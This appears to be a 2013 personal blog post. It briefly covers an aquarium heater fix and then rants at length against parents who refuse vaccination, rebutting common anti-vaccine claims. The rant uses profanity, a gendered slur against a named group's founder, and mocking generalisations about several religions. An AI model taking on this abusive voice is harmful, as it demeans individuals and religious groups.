I extracted last week’s failed heater from the bin and trialled this, and lo and behold my maths is correct.  A simple 240v timer switch set to ‘blip’ the heater on and off overnight saved the day.

 

I now have a bloody expensive Eheim Jager heater installed, and if that fails I am going to be seriously pissed.

Friday, June 7, 2013

This one would make your eyes water.


Vaccination objectors - a disgrace to society

I see that parents who wish to opt out of immunising their precious snowflakes will now be termed "vaccine refusers" under proposed legislation, in a name-and-shame attempt to make the current "conscientious objection" tag a little less morally honourable.

Personally, I think they should take the opportunity to go a little further, perhaps to something like "brainwashed moron" or "selfish psychopathic cretin", or perhaps "simpering helicopter parent fuckwit".  Any of those would do me.

Why anyone would not want to immunise their children against a known, preventable disease absolutely confounds me.  Some of the most twisted pseudoscientific babbling "logic" I have ever seen is used by anti-proponents, here's some examples:

Pharmaceutical Companies Can’t Be Trusted
Why, because they're in business to make a profit?  Anyone making this point has just demonstrated they have zero idea how hard it is to get a drug approved for sale, how extensive and rigorous the testing is etc.

ALL Vaccines are Loaded with Chemicals and other Poisons
Chemicals not automatically poisons.  The human body itself is a collection of chemicals.  Do these people grow their own wheat and grind their own flour to avoid preservatives?

Fully Vaccinated Children are the Unhealthiest, Most Chronically Ill Children I Know
And there's no chance at all that other issues like junk food, pollution, radiation etc might be the cause?  Or that the reason that issues like autism might appear to rise in prevalence is that enough children are now no longer dropping dead of preventable disease to allow them to present?  As for ADHD...



Other Countries Are Waking Up to the Dangers of Vaccines
No, they aren't.  They are, in fact, reaping the benefits.  Would you like to go back to polio outbreaks?

 
 


A Number of Vaccines Have Already Had Problems/Been Removed from the Market
So that's a reason to not take advantage of the vast majority that have no problems?  The Chevy Corvair got withdrawn from market due to a design issue, I take it you're wearing your handwoven flax skirt while you walk up to the market to buy your organic vegies for dinner are you?  Or are you driving?

You Can Always Get Vaccinated, But You Can Never Undo a Vaccination
Yes, just like you can't undo dying from a totally preventable disease.


What makes me seethe about these sorts of people is that they think they get to opt out of a societal norm, but then still expect to be able to interact with the rest of society.  Guess what, the rest of us aren't interested in having your whooping couch incubator germbag around, thanks very much.  Or paying the hospital bills for having your snowflakes cervical cancer issues treated, despite significant evidence that immunisation against it works.  Or seeing news articles about infant dying in 24 hours due to pneumococcal disease, despite a 97% improvement due to immunisation.

I couldn't support the position of AMA president more - unvaccinated children should be able to be denied access to school, daycare and other social interaction groups.  If you want to wear Birkenstocks and not have your precious bundle of joy exposed to the nasty chemicals that the rest of society has decided are hugely beneficial, then fine - but you just surrendered the right to have them attend school, because everyone else isn't interested in having your marginalist radical beliefs imposed on them.

Of course, the government had to go and fuck this up as usual by allowing "religious beliefs exemption" from this otherwise good idea, thus allowing the loonies to use it as a loophole.  The useless hippie bitch who founded the misleadingly labelled AVN is now trying to create an artificial religion which is opposed to vaccination just to exploit this point.

At current count, the legitimate religions (as far as arguing over who's got the best imaginary friend can legitimise anything) that oppose vaccination are:

- Muslims and Jews who object on the grounds of animal derivation - and even then they make exemptions if there's no alternative!  (This may be the first time in known history either group has compromised on anything.)
- A few ultra-conservative Christian groups, whose objection actually stems from the concept that immunisation against things HPV and cervical cancer might encourage their children to fornicate.  (Presumably these people think herpes is just great.)

And... that's it.  Even the fucking Mormons and Jehovah's Witnesses of all people on earth don't object to vaccination, and these are the groups that will quite happily stand by while they or their family members die for lack of a simple blood transfusion.  If there was ever a bunch of looney nutbags that could be counted on to object to something, they'd be it.

So who are we left with?  The cretins running AVN, and a few middle-class suburbanite conservatives who drive their little germbag to childcare in a new BMW while protesting that it's their right to expose everyone else to preventable disease because they can't differentiate between an organic turnip and a child.

For the common good, the sooner these people are told to fuck right off the better.